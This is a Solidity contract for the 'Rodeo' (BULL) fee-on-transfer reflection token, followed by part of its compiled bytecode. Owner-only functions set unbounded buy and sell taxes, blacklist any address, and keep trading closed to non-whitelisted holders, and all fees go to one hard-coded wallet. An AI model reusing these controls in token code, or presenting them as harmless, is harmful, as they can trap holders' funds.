████▓▓▓▓▓▓▓▓▓▓▓▓██▓▓▓▓████ ██▒▒████░░▒▒░░░░██
████████████▓▓████▒▒░░██ ██░░░░░░██▒▒▒▒██
▓▓▓▓██░░░░▒▒▒▒░░▓▓ ██▒▒▒▒▒▒▒▒▓▓▒▒██
████░░░░▒▒██▒▒▒▒██ ████████████
██▒▒▒▒▒▒██████
████████░░
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Rodeo is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rodeo";
string private constant _symbol = "BULL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2FddA0F4A2bB1fCBCa3649eB641c29B5a934d3b7);
address payable private _marketingAddress = payable(0x2FddA0F4A2bB1fCBCa3649eB641c29B5a934d3b7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000000 * 10**9; //0.75
uint256 public _maxWalletSize = 100000000000000 * 10**9; //1
uint256 public _swapTokensAtAmount = 100000000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610626578063c3c8cd8014610663578063dd62ed3e1461067a578063ea1644d5146106b7576101cc565b806398a5c3151461055a578063a2a957bb14610583578063a9059cbb146105ac578063bdd795ef146105e9576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b80632fd689e3116101645780636b9990531161013e5780636b9990531461039f5780636d8aa8f8146103c85780636fc3eaec146103f157806370a0823114610408576101cc565b80632fd689e31461031e578063313ce5671461034957806349bd5a5e14610374576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632f9c4569146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612cd6565b6106e0565b005b34801561020657600080fd5b5061020f610830565b60405161021c919061311f565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612c9a565b61086d565b60405161025991906130e9565b60405180910390f35b34801561026e57600080fd5b5061027761088b565b6040516102849190613104565b60405180910390f35b34801561029957600080fd5b506102a26108b1565b6040516102af9190613301565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612c0f565b6108c3565b6040516102ec91906130e9565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612c5e565b61099c565b005b34801561032a57600080fd5b50610333610b1f565b6040516103409190613301565b60405180910390f35b34801561035557600080fd5b5061035e610b25565b60405161036b9190613376565b60405180910390f35b34801561038057600080fd5b50610389610b2e565b60405161039691906130ce565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c19190612b81565b610b54565b005b3480156103d457600080fd5b506103ef60048036038101906103ea9190612d17565b610c44565b005b3480156103fd57600080fd5b50610406610cf5565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612b81565b610dc6565b60405161043c9190613301565b60405180910390f35b34801561045157600080fd5b5061045a610e17565b005b34801561046857600080fd5b50610483600480360381019061047e9190612d40565b610f6a565b005b34801561049157600080fd5b5061049a611009565b6040516104a79190613301565b60405180910390f35b3480156104bc57600080fd5b506104c561100f565b6040516104d291906130ce565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612d17565b611038565b005b34801561051057600080fd5b506105196110ea565b6040516105269190613301565b60405180910390f35b34801561053b57600080fd5b506105446110f0565b604051610551919061311f565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612d40565b61112d565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d69565b6111cc565b005b3480156105b857600080fd5b506105d360048036038101906105ce9190612c9a565b611283565b6040516105e091906130e9565b60405180910390f35b3480156105f557600080fd5b50610610600480360381019061060b9190612b81565b6112a1565b60405161061d91906130e9565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190612b81565b6112c1565b60405161065a91906130e9565b60405180910390f35b34801561066f57600080fd5b506106786112e1565b005b34801561068657600080fd5b506106a1600480360381019061069c9190612bd3565b6113ba565b6040516106ae9190613301565b60405180910390f35b3480156106c357600080fd5b506106de60048036038101906106d99190612d40565b611441565b005b6106e86114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076c90613261565b60405180910390fd5b60005b815181101561082c576001601060008484815181106107c0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108249061363b565b915050610778565b5050565b60606040518060400160405280600581526020017f526f64656f000000000000000000000000000000000000000000000000000000815250905090565b600061088161087a6114e0565b84846114e8565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006108d08484846116b3565b610991846108dc6114e0565b61098c85604051806060016040528060288152602001613b2260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109426114e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea39092919063ffffffff16565b6114e8565b600190509392505050565b6109a46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2890613261565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ac4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abb90613221565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b5c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be090613261565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c4c6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090613261565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d366114e0565b73ffffffffffffffffffffffffffffffffffffffff161480610dac5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d946114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b610db557600080fd5b6000479050610dc381611f07565b50565b6000610e10600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612002565b9050919050565b610e1f6114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613261565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f726114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff690613261565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110406114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490613261565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600481526020017f42554c4c00000000000000000000000000000000000000000000000000000000815250905090565b6111356114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990613261565b60405180910390fd5b8060198190555050565b6111d46114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611261576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125890613261565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112976112906114e0565b84846116b3565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113226114e0565b73ffffffffffffffffffffffffffffffffffffffff1614806113985750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113806114e0565b73ffffffffffffffffffffffffffffffffffffffff16145b6113a157600080fd5b60006113ac30610dc6565b90506113b781612070565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114496114e0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cd90613261565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f906132e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bf906131c1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116a69190613301565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906132a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90613141565b60405180910390fd5b600081116117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90613281565b60405180910390fd5b6117de61100f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561184c575061181c61100f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ba257601660149054906101000a900460ff166118f257601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890613161565b60405180910390fd5b5b601754811115611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906131a1565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119db5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a11906131e1565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ac75760185481611a7c84610dc6565b611a869190613437565b10611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906132c1565b60405180910390fd5b5b6000611ad230610dc6565b9050600060195482101590506017548210611aed5760175491505b808015611b075750601660159054906101000a900460ff16155b8015611b615750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b77575060168054906101000a900460ff165b15611b9f57611b8582612070565b60004790506000811115611b9d57611b9c47611f07565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cfc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cfb5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d0a5760009050611e91565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611db55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dcd57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e785750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e9057600a54600c81905550600b54600d819055505b5b611e9d8484848461236a565b50505050565b6000838311158290611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2919061311f565b60405180910390fd5b5060008385611efa9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f5760028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f82573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fd360028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ffe573d6000803e3d6000fd5b5050565b6000600654821115612049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204090613181565b60405180910390fd5b60006120536123e1565b9050612068818461239790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fc5781602001602082028036833780820191505090505b509050308160008151811061213a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121dc57600080fd5b505afa1580156121f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122149190612baa565b8160018151811061224e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161231995949392919061331c565b600060405180830381600087803b15801561233357600080fd5b505af1158015612347573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806123785761237761240c565b5b61238384848461244f565b806123915761239061261a565b5b50505050565b60006123d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061262e565b905092915050565b60008060006123ee612691565b91509150612405818361239790919063ffffffff16565b9250505090565b6000600c5414801561242057506000600d54145b1561242a5761244d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612461876126f6565b9550955095509550955095506124bf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255485600260008b73fffffffffffffff